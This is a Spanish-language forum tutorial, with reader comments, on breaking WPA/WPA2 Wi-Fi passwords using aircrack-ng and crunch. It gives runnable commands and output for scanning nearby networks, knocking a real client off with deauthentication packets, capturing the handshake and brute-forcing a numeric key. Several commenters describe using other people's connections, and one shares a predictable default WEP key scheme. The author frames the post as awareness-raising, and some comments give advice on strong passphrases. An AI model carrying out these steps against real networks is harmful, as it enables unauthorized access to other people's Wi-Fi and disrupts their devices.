Inicio Novatos Destacados

Romper WPA y WPA2 con crunchAnuncios GoogleNetwork Intelligencewww.vssmonitoring.com - Network Intelligence Optimization can be achieved with VSS Monitoring

Hace un tiempo me venían pidiendo armar un tutorial sobre cómo crackear redes con cifrados WPA y WPA2. Entonces decidí por realizar este tuto utilizando una herramienta que reemplaza a los diccionarios y en mi caso me dióbastante efectividad.

Empecemos por dejar en claro un par de cuestiones, la encriptación WEP como ya sabemos es fácil de romper, secapturan paquetes para luego por ingeniería inversa crackear esos paquetes y conseguir la clave. En el caso de WPA y WPA2 es distinto, el método anterior no puede ser utilizado. Estos tipos de cifrados utilizan algo llamado "handshake" (apretón de manos), es una especie de "saludo" entre el AP(Access Point) y el Cliente. Lo que debemos capturar en este caso justamente es ese handshake para estar en "confianza" con el AP e intentarmediante un diccionario o en este caso con otro método que utilizo yo, romper la clave.

Una vez aclarado el funcionamiento, largo el método:

Voy a utilizar un software llamado "crunch"

Vamos a bajarlo desde acá

dijo:DESCARGAR CRUNCH

Una vez que lo descargamos, lo descomprimimos:

dijo:tar -xvzf crunch*.tgz

Entramos al directorio

dijo:cd crunch

Lo compilamos, por las dudas primero dejo el build-essential por si no lo tienen:

dijo:

Con el botón social deTaringa! los usuarios podránrecomendar tu web muyfacilmente!

Nuevo botón de Taringa!

IdentificarmeIdentificarme Buscar...

Posts Comunidades TOPs Global

LINUX Y GNU | HACE MÁS DE 1AÑO

Twittear Twittear 02477Like

Moderador

1.902Seguidores

162.169Puntos

385Posts

Ver más del autor »

dysloke

SeguirSeguir

router Wifi wireless

ap cifrado Linux wpa

aircrack wpa2 crunch

tkip psk

Tags

Anuncios Google

Descrifrar Claves WiFi

Linux PowerPC

Wireless WPA

Compartido por

converted by Web2PDFConvert.com

apt-get install build-essential

Ahora si, lo compilamos:

dijo:make

dijo:make install

Por último copiamos el comando al sbin:

dijo:cp crunch /usr/sbin/

Voy a dar por sentado que tienen instalado aircrack-ng, pero como soy bueno, les dejo el apt-get por las dudas:

dijo:apt-get install aircrack-ng

Empezamos !!

Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1, cada cual ponga la suya):

dijo:airodump-ng ath1

Me aparecen un par de redes:

dijo:CH 6 ][ Elapsed: 4 s ][ 2010-07-11 23:44

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:11 3:A9:5D 2 2 0 0 1 54 . WEP WEP dlink-007 00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA 00:21:29:EB:57:85 2 0 0 0 6 54 OPN Nazario_w 00:21:29:96:85:0C 9 3 1 0 6 54e WEP WEP Martin 00:1A:70:3D:3D:81 3 2 0 0 6 54 OPN linksys 00:1C:10:2A:C7:99 5 3 0 0 6 54e OPN Nazario_w 00:18:E7:56:26:89 7 4 0 0 6 54 . WPA TKIP PSK default 00:26:5A:53:E5:84 4 4 0 0 6 54 WEP WEP AR-RED 00:1D:7E:22:25:22 -1 0 3 1 6 -1 OPN <length: 00:18:E7:61:A9:47 8 3 0 0 6 54 . WPA TKIP PSK ESTUDIO J 00:0A:E5:79:83:E8 1 4 1 0 11 11 WEP WEP CIBERA 00:21:29:72 C:32 5 3 0 0 11 54 . WEP WEP linksys 00:0F:A3 1:9C:5B 21 6 0 0 12 54 . WEP WEP LKSA 00:25:9C:69:97:B7 16 12 0 0 11 54e WPA2 TKIP PSK WIPS 00:0F:A3 1:67:8A 6 6 0 0 4 54 . WEP WEP Wi-Fi Arn 1C:AF 7:42:E1:E6 -1 0 0 0 9 -1 <length: 00:15:63:11:69:90 16 10 0 0 9 12e. WEP WEP <length: 00:25:9C:3B:69:28 23 15 0 0 6 54e WEP WEP Apicc 00:40:77:BB:55:03 21 19 0 0 6 54e WPA TKIP PSK dd-wrt 00:21:00:61:B9:12 1 2 0 0 1 54 OPN FT89769

converted by Web2PDFConvert.com

Juro que el ESSID PORINGA no es mío !!

Bueno, sigamos, la que voy a utilizar es "default" que tiene cifrado WPA TKIP PSK:

TKIP: (Temporal Key Integrity Protocol) PSK: (Pre-Shared Key)

Una vez que tenemos el MAC del AP y el canal, ponemos:

dijo:airodump-ng -c NUMERODELCANAL --bssid MAC-DEL-AP -w default ath1

En este caso:

dijo:airodump-ng -c 6 --bssid 00:18:E7:56:26:89 -w default ath1

Ahora airodump sólo va a escuchar ese canal y ese AP.:

dijo:CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:E7:56:26:89 9 90 4152 762 5 6 54 . WPA TKIP PSK defau

BSSID STATION PWR Rate Lost Packets Probes

00:18:E7:56:26:89 00:0C:41:7A:77:43 51 11 - 1 42 1102 00:18:E7:56:26:89 00:1F:E1:23:33:40 15 0 - 1 0 61 default

Acá tenemos dos posibles escenarios:

1) Esperar que se conecte un nuevo cliente para adquirir el handshake 2) Desautenticar un cliente ya conectado para que vuelva a conectarse y adquirir el handshake

En este caso vamos a utilizar la segunda opción, anotamos el MAC del AP y el MAC del cliente conectado.

AP: 00:18:E7:56:26:89 Cliente Conectado: 00:0C:41:7A:77:43

Procedemos a desautenticar al cliente mediante este comando:

dijo:aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE ath1

En este caso:

dijo:aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1

Hace algo así:

dijo:[root@debian dke]# aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1 23:46:18 Waiting for beacon frame (BSSID: 00:18:E7:56:26:89) on channel 6 23:46:19 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 1|173 ACKs] 23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [14|155 ACKs]

converted by Web2PDFConvert.com

23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|207 ACKs] 23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [11|173 ACKs] 23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [31|186 ACKs] 23:46:26 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|240 ACKs] 23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [3 186 ACKs] 23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|137 ACKs] 23:46:28 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|147 ACKs] 23:46:32 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [19|258 ACKs]

Si no lo desautentifica a la primera, volver a repetir el comando.

Una vez que el usuario es desautenticado y vuelva a ingresar nos va a aparecer arriba a la derecha el handshake

dijo:CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ][ WPA handshake: 00:18:E7:56:26:89

Listo, ya tenemos nuestro handshake, ahora utilizamos el crunch:

Escribimos esto:

dijo:crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b HANDSHAKE -w -

En este caso:

dijo:crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b 00:18:E7:56:26:89 -w -

Aclaración: "crunch 8 9" hace referencia a que las claves WPA como mínimo tienen 8 caracteres, en este caso yoquiero que sólo pruebe hasta 9 caracteres, y que utilice los números 0123456789. El 75% de los usuarios cometen el error de "securizar" la red con WPA y usar claves numéricas, que en este casovamos a ver lo fáciles que son de conseguir con crunch Si quisiéramos que crunch use letras, pondríamos "crunch 8 15 (máximo 15 caracteres)" abcdefghijklmno"

Ahora vamos a ver como crunch empieza a generar claves y a probarlas con el aircrack-ng:

dijo:

[root@debian dke]# crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b00:18:E7:56:26:89 -w - Opening /home/dke/default-01.cap Reading packets, please wait...

Aircrack-ng 1.0 rc3

[00:00:50] 72172 keys tested (1445.33 k/s)

KEY FOUND! [ 00072169 ]

Master Key : F0 BE A1 08 A5 4C D6 E4 08 5C 5F B4 42 4A 69 F0 32 1D C9 11 D5 F3 BB 64 3D F2 31 AB FA F7 A7 1E

Transient Key : 72 42 D4 F0 91 91 E9 27 F8 8E D0 DF 1D 48 1B AD 16 10 78 D5 B1 7E 8D 9E 7A 76 68 AC 44 2A 37 94 30 4C 47 F5 FE EB 01 7E 8B 64 87 EF 78 3D 2F 1E E8 6B 4A 2E E4 95 F4 57 4A 32 05 54 66 AA D6 98

converted by Web2PDFConvert.com

Twittear Twittear

2

EAPOL HMAC : C8 28 B2 83 87 05 18 45 D8 26 C0 42 1D AB A0 7D

Listo, ya tenemos la clave

Un video que capturé para los despistados y por las caritas de mierda que aparecen..

link: http://www.youtube.com/watch?v=s8hR3By8v_E

Fuente: mi blog y yo

Anuncios Google

Report Management Software www.prophix.com/reporting - Powerful Management and Financial ReportingSoftware. Free Demo!

4

Me gusta

77

T! score: 8.5 / 10

354Puntos

SeguirSeguir Agregar a FavoritosAgregar a Favoritos 29SEGUIDORES

67.725VISITAS

508FAVORITOS

Comentarios destacados@dysloke hace más de 9 meses +11

mateitow001 dijo:mmm q post mas novato

no es para gente intelectual como vos que posteás "las cumbias de lady gaga"

converted by Web2PDFConvert.com

143 comentarios

1 2

@chequeterakata hace más de 1 año -81

No creo que se deban publicar estas cosas... es como robar

@maxpower001 hace más de 1 año +2

buena data a favoritos

@Serguti hace más de 1 año +4

Muy bueno! Bien explicado.

@dysloke hace más de 1 año +3

chequeterakata dijo:No creo que se deban publicar estas cosas... es como robar

No es esa la idea, la idea es que se tome conciencia.Si vos seteás una clave estilo: ok@83mXXiS77 es IMPOSIBLE que te la roben, pueden pasar 500 años y note la van a romper.O si usás Radius

@maxpower001 hace más de 1 año -4

dysloke dijo:

chequeterakata dijo:No creo que se deban publicar estas cosas... es como robar

No es esa la idea, la idea es que se tome conciencia.Si vos seteás una clave estilo: ok@83mXXiS77 es IMPOSIBLE que te la roben, pueden pasar 500años y no te la van a romper.O si usás Radius

a lo sumo que tengas un computadora de la nasa

@maxpower001 hace más de 1 año +1

00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA

@fullvice hace más de 1 año

dysloke hackeroooouuuu !!! (?)

@maxpower001 hace más de 1 año -2

162331PUNTOSesto responde tu pregunta

fullvice dijo:dysloke hackeroooouuuu !!! (?)

@Ezelrengo hace más de 1 año +1

Encontré una razón para reinstalar mi kubuntu.

@maxpower001 hace más de 1 año +1

fullvice dijo:dysloke hackeroooouuuu !!! (?)

converted by Web2PDFConvert.com

162331PUNTOS esto responde tu pregunta

@berik hace más de 1 año

maxpower001 dijo:00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA

@ajvajv hace más de 1 año -6

maxpower001 dijo:

fullvice dijo:dysloke hackeroooouuuu !!! (?)

162331PUNTOS esto responde tu pregunta

Y si lees 4 lineas arriba de eso... "Moderador"

Mas que hacker es un acomodado

@facundogato hace más de 1 año -3

ajvajv dijo:

maxpower001 dijo:

fullvice dijo:dysloke hackeroooouuuu !!! (?)

162331PUNTOS esto responde tu pregunta

Y si lees 4 lineas arriba de eso... "Moderador"

Mas que hacker es un acomodado

@dysloke hace más de 1 año +1

traten de enfocar los comentarios sobre el tema Ni hacker ni acomodado, posteo algo que quizá a muchos le sirva, a quienes no les sirve simplementeabstengan los comentarios offtopic

@recepcionista hace más de 1 año

los que tienen miedo de este post es porque ocultan las cosas o no saben poner una buena contraseña suwifi, internet debería ser libre para todos en fin, vos pagas yo la uso también asi es la consigna en estOSúltimos siglos ajajaja :buenspot:

@pampanero hace más de 1 año

Mirá... a mi me parece que esta un poco mal que alguien garpe un router wifi para facilitar las conexiones yvos utilizas su internet... cada uno es libre de elegir SU contraseña con SU router...

@ajvajv hace más de 1 año

dysloke dijo:traten de enfocar los comentarios sobre el tema Ni hacker ni acomodado, posteo algo que quizá a muchos le sirva, a quienes no les sirvesimplemente abstengan los comentarios offtopic

converted by Web2PDFConvert.com

Me parece que especialmente vos tendrias que saber lo que es Taringa, rara vez un post se mantiene dentrodel topic.

Ontopic: necesitas una placa tipo Atheros o con una Realtek chota alcanza?

@Cami_PR hace más de 1 año -1

nu entendi na' pero igual pase (?)

@Fhran hace más de 1 año

AMIGO COMO PUEDO HACER UN USB LIVE CON CRUNCH???

@Mousse hace más de 1 año

Te falta poner la placa en modo monitor primero.

@rastune hace más de 1 año

para windows mobile no hay?

@dysloke hace más de 1 año

Mousse dijo:Te falta poner la placa en modo monitor primero.

Me parece que no:

dijo:Empezamos !!

Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1, cada cualponga la suya):

@Lucain hace más de 1 año

ajvajv dijo:

dysloke dijo:traten de enfocar los comentarios sobre el tema Ni hacker ni acomodado, posteo algo que quizá a muchos le sirva, a quienes no les sirvesimplemente abstengan los comentarios offtopic

Me parece que especialmente vos tendrias que saber lo que es Taringa, rara vez un post se mantienedentro del topic.

Ontopic: necesitas una placa tipo Atheros o con una Realtek chota alcanza?

Creo que cualquier placa que soporte la suite aircrack-ng, el ataque sige siendo con esta suite, el descifrado(lo dificil en este caso) es con crunch con el volcado de datos que da el aircrack.

Interesante el crunch, lo voy a probar en casa

Pregunta, se pueden usar rangos? algo como:

crunch 8 64 [A..Z] [a..z] [0..9]

Para descifrar algo alfanumerico y con mayusculas?

@rafazed hace más de 1 año

converted by Web2PDFConvert.com

chequeterakata dijo:No creo que se deban publicar estas cosas... es como robar

Puede que sea robar... pero cuando hay emergencias, por ejemplo de tareas de la escuela y se te va eljodido internet es necesario esto, ya me ha salvado varias veces.

dysloke dijo:

Mousse dijo:Te falta poner la placa en modo monitor primero.

Me parece que no:

dijo:Empezamos !!

Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1, cadacual ponga la suya):

Con el primer comando creo que automaticamente se pone en modo monitor, pero tambien para ponerla enmodo monitor hay otro comando "sudo airmon-ng" y te muestra las interfaces que hay, entonces ponias"sudo airmon-ng interfaz start" y te la ponia en modo monitor.

Muy buen post! No sabia como crackear WPA! +10

@rafazed hace más de 1 año

me olvidaba, cambia el comando para cuando es WPA2?

@Fhran hace más de 1 año

por favor me dicen si se puede hacer un usb live con esto???

@cariatore hace más de 1 año

lo voy a probar ! gracias!

@rafazed hace más de 1 año

Fhran dijo:por favor me dicen si se puede hacer un usb live con esto???

creo que tendrias que meter a tu USB una distro como Ubuntu, pero con el paquete Crunch y Aircrack-ngpreviamente instalado, pero no se como hacer eso. Suerte!

@rafazed hace más de 1 año

rafazed dijo:

Fhran dijo:por favor me dicen si se puede hacer un usb live con esto???

creo que tendrias que meter a tu USB una distro como Ubuntu, pero con el paquete Crunch y Aircrack-ng previamente instalado, pero no se como hacer eso. Suerte!

Creo que lo encontre! Tal vez esto te sirva: http://phylevn.mexrom.net/index.php/blog/show/Crea-tu-propio-LiveCD-personalizado-con-remastersys.html

Con eso creas una ISO de tu instalación actual, nada mas faltaria meter esa ISO a una USB con unetbootin.

@leogol16 hace más de 1 año

converted by Web2PDFConvert.com

hola buen tuto pero mi consulta es a q llamas "RUTA-DEL-ARCHIVO-CAP" ??

saludos

@leogol16 hace más de 1 año

leogol16 dijo:hola buen tuto pero mi consulta es a q llamas "RUTA-DEL-ARCHIVO-CAP" ??

saludos

olvidate ya me di cuenta q es!!!! ejejej gracias!

@MHkoko88 hace más de 1 año

a favs....creo que tendras muchos MP

@juaz26 hace más de 1 año

chue hermano!!!manso problema tengo!!!descomprimo el archivo y . . . . . no se ve nada!!!

@dysloke hace más de 1 año

juaz26 dijo:chue hermano!!!manso problema tengo!!!descomprimo el archivo y . . . . . no se ve nada!!!

Fijate de estar logueado como root, si lo descomprimiste con tar -xvzf crunch*.tgz y no te tiró error algunotiene que aparecerte la carpeta si o si.

@juaz26 hace más de 1 año

dysloke dijo:

juaz26 dijo:chue hermano!!!manso problema tengo!!!descomprimo el archivo y . . . . . no se ve nada!!!

Fijate de estar logueado como root, si lo descomprimiste con tar -xvzf crunch*.tgz y no te tiró erroralguno tiene que aparecerte la carpeta si o si.

ya fue, lo hice con sudo nautilus y le di permisos!!!

@Fhran hace más de 1 año

pero yo no tengo ni idea de como puedo poner esto en funcionamiento

@__n4rf__ hace más de 1 año

che.. muy bueno! lo probe con mi propia conexion (dspues de borrar todo rastro de ella), tardo un rato, perola saco! un groso!Obvio, yo ya sabia el rango de caracteres en el que tenia que buscar, pero igual, de ultima le pongo todoslos numeros y todo el abecedario (en mayusc y minusc), cuanto taradara maximo con una contraseña de 8-12 caracteres.. mientras tarde menos de 30min es genial, de ultima lo dejas crackeando, te dormis unasiestita... y listouuuu

@dysloke hace más de 1 año

si es alfanumérico y con mayúsculas, de 12 caracteres, puede tardar AÑOS (sin exagerar)La idea del crunch es casi exclusivo a probar que las contraseñas sean numéricas

@narosky hace más de 1 año

Guau, muy interesante! a favoritos gracias!

converted by Web2PDFConvert.com

@Umask hace más de 1 año

Veremos que utilidad le damos, por lo pronto se agradece y a favoritos

@yuyo hace más de 1 año

5.

@PunXtaR hace más de 1 año

__n4rf__ dijo:che.. muy bueno! lo probe con mi propia conexion (dspues de borrar todo rastro de ella), tardoun rato, pero la saco! un groso!Obvio, yo ya sabia el rango de caracteres en el que tenia que buscar, pero igual, de ultima lepongo todos los numeros y todo el abecedario (en mayusc y minusc), cuanto taradara maximocon una contraseña de 8-12 caracteres.. mientras tarde menos de 30min es genial, de ultima lodejas crackeando, te dormis una siestita... y listouuuu

a veces pueden ser miles de siestas xD

@javiiersss hace más de 1 año

dijo:CH 6 ][ Elapsed: 4 s ][ 2010-07-11 23:44 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTHESSID 00:1B:113:A9:5D 2 2 0 0 1 54 . WEP WEP dlink-007 00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2CCMP PSK PORINGA 00:21:29:EB:57:85 2 0 0 0 6 54 OPN Nazario_w 00:21:29:96:85:0C 9 3 1 0 654e WEP WEP Martin 00:1A:70:3D:3D:81 3 2 0 0 6 54 OPN linksys 00:1C:10:2A:C7:99 5 3 0 0 6 54eOPN Nazario_w 00:18:E7:56:26:89 7 4 0 0 6 54 . WPA TKIP PSK default 00:26:5A:53:E5:84 4 4 0 0 654 WEP WEP AR-RED 00:1D:7E:22:25:22 -1 0 3 1 6 -1 OPN <length: 00:18:E7:61:A9:47 8 3 0 0 6 54 .WPA TKIP PSK ESTUDIO J 00:0A:E5:79:83:E8 1 4 1 0 11 11 WEP WEP CIBERA 00:21:29:72C:32 5 30 0 11 54 . WEP WEP linksys 00:0F:A31:9C:5B 21 6 0 0 12 54 . WEP WEP LKSA 00:25:9C:69:97:B716 12 0 0 11 54e WPA2 TKIP PSK WIPS 00:0F:A31:67:8A 6 6 0 0 4 54 . WEP WEP Wi-Fi Arn1C:AF7:42:E1:E6 -1 0 0 0 9 -1 <length: 00:15:63:11:69:90 16 10 0 0 9 12e. WEP WEP <length:00:25:9C:3B:69:28 23 15 0 0 6 54e WEP WEP Apicc 00:40:77:BB:55:03 21 19 0 0 6 54e WPA TKIPPSK dd-wrt 00:21:00:61:B9:12 1 2 0 0 1 54 OPN FT89769

( )

@xxHidanxx hace más de 1 año +5

dijo:Romper WPA y WPA2 con crunch

o sea que cuando los rompes hacen "crunch, crunch"?

@sab007 hace más de 1 año -3

xxHidanxx dijo:

dijo:Romper WPA y WPA2 con crunch

o sea que cuando los rompes hacen "crunch, crunch"?

@xxHidanxx hace más de 1 año

sab007 dijo:

xxHidanxx dijo:

dijo:Romper WPA y WPA2 con crunch

o sea que cuando los rompes hacen "crunch, crunch"?

converted by Web2PDFConvert.com

u.u

@mavabe hace más de 1 año

Que es la RUTA-ARCHIVO-Cap?.Es una ruta de un archivo existente?. Si es asi donde y cuando se creo?

@dysloke hace más de 1 año

mavabe dijo:Que es la RUTA-ARCHIVO-Cap?. Es una ruta de un archivo existente?. Si es asi donde y cuandose creo?

Es el archivo .cap que guarda cuando obtenés el handshake.El "-w" justamente es el parámetro que guarda la información, si no guardás un .cap no podés luego usaraircrack y te lo guarda donde estés situado en ese momento.

@daledondale hace más de 1 año

hola dysloke..hace rato puedo con las weps, y hace un tiempo empece a leer para romper wpa y wpa2.Use el crunch y la verdad no me funciono..en cambio, con el aircrack solo y luego diccionario, rompi unawpa2. Igual gracias por el aporte, es solo mi experiencia personal, capaz a muchos les funciono. saludos

@factorial hace más de 1 año

es una joda no? el wpa 2 solo se puede crackear con placas de video...

@factorial hace más de 1 año

[00:00:50] 72172 keys tested (1445.33 k/s)

o sea si pongo una contraseña alfanumerica con mayusculas y minusculas de 10 caracteres voy a tardar9228 millones de años !!!!! ese numero de 1445 claves por segundo seguro es con un I7 ... con la mejor placade video del mundo solo se puede probar mas o menos 90000 claves por segundo.. un poco mas rapido xD

@dysloke hace más de 1 año

emmm factorial, si .. es una joda, el video en realidad está "trucado".Y no sé de donde sacaste que sólo puede crackearse con el gpu, poné 5 máquinas virtuales en clúster y vasa ver si se puede más rápido o no .. pero igualmente no da discutir cuando el mensaje es mala leche.Suerte!

@factorial hace más de 1 año

no es mala leche. la tecnica esta buena por poder elegir los numeros y letras que quieras para crackear,pero es impractico por la velocidad. hay gente que pone contraseñas jodidas no "123456789". seria bueno enserio si se pudiera crackear a 2 millones de claves por segundo, ahi tiene otra pinta

@6ustav hace más de 1 año

creo que alguien porahi pregunto lo mismo que yo y quedo en el aire la pregunta....

para wpa2 es el mismo metodo o cambia en algo ?

@dysloke hace más de 1 año

factorial, te vuelvo a repetir, porque quizá vos leiste en algún lado que wpa2 sólo puede crackearse con GPU,bueno .. estás equivocado.Probá armar un clúster con 5 máquinas virtuales corriendo crunch al mismo tiempo y fijate qué velocidadlevantás

6ustav, es exactamente el mismo método.

@factorial hace más de 1 año

pido perdon mi intencion no era armar bardo.

por otro lado, cluster con varias maquinas virtuales que este a mi alcance economico, muy lejos. la mejorplaca de video que existe tal vez ahorrando un par de meses me la compro xD. no digo que las placas devideo sean la unica manera de crackear la encriptacion wpa, pero es la mejor costo / beneficio. por algo el

converted by Web2PDFConvert.com

mejor cracker de redes wifi hacia eso.. por algo lo hacia no?

@dysloke hace más de 1 año

pronto voy a terminar un proyecto que estamos armando con clústers y te voy a mostrar la velocidad quepuede levantar, creeme que te vas a cagar de risa del "mejor cracker de redes wifi"

@6ustav hace más de 1 año

acabo de poder crackear mi primer wep ! ja.. (dsp de casi 2 años recien crean una compatibilidad para mitarjeta en backtrack...... ahora voy a intentar con tu tuto a ver q sale

@cariatore hace más de 1 año

Hola Capo! Sabes que tengo un problema cuando hago: aireplay-ng -0 10 ... me salta sobre el canal 1, pordefecto hay forma de cambiar esto! no se q hago mal!! Gracias

@dysloke hace más de 1 año

airmon-ng stop mon0 (o como se llame) && airmon-ng stop wlan0 (o wifi0, o como se llame)Luego:

ifconfig wlan0 (o wifi0, o como sea) channel NUMERO-DE-CANAL-QUE-QUIERAS-CRACKEAR

levantás, ifconfig wlan0 (wifi0, o como sea) up

y cuando levantas con airmon-ng wlan0 (wifi0 o como sea) también le hacés un ifconfig mon0 (o la interfaceque te levante) channel CANAL-QUE-VAS-A-USAR

Espero hayas entendido

@6ustav hace más de 1 año

Dysloke tal vez me puedas dar una mano .... Segui los pasos del post y consegui handshake, pero concrunch no pude conseguir pass porque me dice que no se encuentra entre 0123456789 y abcdefghijklmno.Ahora, yo lo que quiero hacer es probar con aircrack y fuerza bruta.. se q es mas dificil de conseguir de estaforma pero quiero intentarlo.. El problema que tengo es que estoy desde una live cd y el diccionario lo tengoen el escritorio de w7 , como podria hacer para apuntar desde dentro de backtrack corriendo desde live a laruta C:\Users\Gustavo\Desktop ? espero q se haya entendido lo q quise decir

@dysloke hace más de 1 año

usa un pendrive o montá la unidad con ntfs-3g (mount -t ntfs-3g /dev/TUPARTICION /mnt/carpeta (antes haceun mkdir /mnt/carpeta) y listo.

@6ustav hace más de 1 año

Miles de gracias ! pude solucionarlo

@jinny hace más de 1 año

Gracias dysloke voy a probar con mi switch innalambrico. Estoy aprendiendo seguridad informatica, quierodedicarme a esto Saludos!!

@mojado hace más de 1 año

a favs.Y por fin el martes me llega éste bichito que pedí en dealextreme hace mas de un mes. http://www.dealextreme.com/details.dx/sku.44929

ahora, yo handshake es igual a inyeccion no? bah, creo que la finalidad es la misma, la de inyectarpaquetes, I guest....

@natilucha hace más de 1 año

probé con el crunch que viene en el backtrack 4 y no hubo caso...

@mojado hace más de 1 año

a mi me es imposible conseguir mi propio handshake, comprobando la simple seguridad de mi red.Con WPA2 lo mismo, le tiro con aireplay varios ataques y nunca consigo el hand.

@DeviLPowerr hace más de 1 año -1

converted by Web2PDFConvert.com

chequeterakata dijo:No creo que se deban publicar estas cosas... es como robar

Entonces tampoco publiques juegos, programas, ni nada similar Ok?

@Uapts hace más de 11 meses

chequeterakata dijo:No creo que se deban publicar estas cosas... es como robar

tecnicamente roba el que lo implementa, no el que lo postea. Igual entiendo el conflicto etico. Creo quetaringa seria un enorme sitio vacio si fueramos eticos... Peliculas, software, hacks, Cracks, imagenes.... Nopagamos derechos por nada. Me parece que no da para salir a señalar. Creo que si alguno de los users detaringa tiene un conflicto etico con lo que se postea lo que deberia hacer es dejar de entrar en Taringa. Escomo entrar en una xxx y decir: el sexo es pecado! Esto es vergonzoso! mmm... Somos lo que hacemos.

@Lailo hace más de 11 meses

jajajaj PORINGA se llama la red de casa!!! en realidad es poringa con minuscula!!!

@Felip0n hace más de 11 meses

¿Y como nos protegemos de estos ataques?

@dysloke hace más de 11 meses

Felip0n dijo:¿Y como nos protegemos de estos ataques?

Usá claves alfanuméricas con más de 12 caracteres.

@Felip0n hace más de 11 meses

dysloke dijo:

Felip0n dijo:¿Y como nos protegemos de estos ataques?

Usá claves alfanuméricas con más de 12 caracteres.

Ponele que la red PORINGA desactive el broadcast de ssid, ¿seguira saliendo en el scaneo del airdump?

@dysloke hace más de 11 meses

hay métodos para visualizar redes que esconden el ssid..

@marianoskaa hace más de 11 meses

Hasta ahora usaba Commview For WiFi en Win7.. Ya que no puedo poner la tarjeta en monitor desde elterminal en Ubuntu Lucid Lynx.. pero esto tiene buena pinta.. van a valer la pena unos intentos

@lokylh hace más de 11 meses

Se puede con la placa de una netbook?

@dysloke hace más de 11 meses

lokylh siempre y cuando la placa inyecte no hay problema.Yo tengo una netbook (acer one) que trae una Atheros y la uso justamente para todo lo que tenga que vercon wifi, desde inyectar hasta wardriving

@Nenita_Yeh hace más de 11 meses +3

yo aqui en chile soy MUY MUYafortunada todas, pero TODAS las claves de wifi caseras tienen la misma combinacion de clave:

converted by Web2PDFConvert.com

cifrado: wepssid: nombre del propietarioclave: cbc + numero de casa

ejemplo:

cifrado: wepssid: carlaclave: cbc8449610

''y te lo muestro'':

INTERNET GRATIS!!!

@ulizesmx hace más de 11 meses -1

hahahha prefiero la vieja tecnica de AirCrack!! son muchas lineas con ese

@dysloke hace más de 11 meses

ulizesmx dijo:hahahha prefiero la vieja tecnica de AirCrack!! son muchas lineas con ese

converted by Web2PDFConvert.com

ni siquiera leiste el post me parece, porque justamente la técnica es con aircrack-ng + crunch ..

@elrodrix hace más de 11 meses

es dificil romper una clave wpa che =/

@Vidaure hace más de 11 meses

exelente post ahi +10

@mulder2003 hace más de 11 meses

Sos un fackin grosso, +10, a favs, sigo el post y te mando a mi hermana.

@Snake_14 hace más de 10 meses

Excelente - ya me estaba aburriendo de buscar los p.u.t.o.s diccionarios que pesan 4 GB y mas encima noson capases de romper la clave WPA/2 , gracias a FAV. y por supuesto +10

@natilucha hace más de 10 meses

con el crunch que trae el backtrack 4 se puede?

@DurrutiBuenaventura hace más de 10 meses

Felip0n dijo:¿Y como nos protegemos de estos ataques?

Hacé como yo, tengo una contraseña wpa2 de 63 caracteres, filtrado de mac y el ssid oculto... y escaneo lared seguido para controlar.

@DurrutiBuenaventura hace más de 10 meses

DurrutiBuenaventura dijo:

Felip0n dijo:¿Y como nos protegemos de estos ataques?

Hacé como yo, tengo una contraseña wpa2 de 63 caracteres, filtrado de mac y el ssid oculto... yescaneo la red seguido para controlar.

Y a eso le podés agregar que la red no asigne ip por dhcp, o sea utilizar ip's fijas, y que sólo haya salida ainternet a través de un proxy.

@dysloke hace más de 10 meses

bue, pero qué tenés, información confidencial de Bin Laden ?Me parece exageradísimo una clave de 63 caracteres, con 12 - 15 caracteres con minúsculas, mayúsculas,números y caracteres especiales es imposible de romperse.Y de qué te sirve el filtrado de mac y el ssid oculto ? de nada .. Podrían ponerse tu MAC, y el ssid oculto está comprobadísimo que con herramientas como kismet.

@MaaURo14BS18 hace más de 10 meses

dysloke dijo:bue, pero qué tenés, información confidencial de Bin Laden ?Me parece exageradísimo una clave de 63 caracteres, con 12 - 15 caracteres con minúsculas,mayúsculas, números y caracteres especiales es imposible de romperse.Y de qué te sirve el filtrado de mac y el ssid oculto ? de nada .. Podrían ponerse tu MAC, y el ssid oculto está comprobadísimo que con herramientas comokismet.

dysloke!!

@shinex64 hace más de 10 meses

No debes postear las direcciones MAC!!!!!!

@taringueroFC hace más de 10 meses -1

converted by Web2PDFConvert.com

Te gustaria q te robaran el wifi.

@Snake_14 hace más de 10 meses

hola , tengo una pregunta , cuanto tiempo demoraria desifrar una red con clave WPA de 10 caracteres , perosolo numericos con crunch ???

@fgranda hace más de 9 meses -1

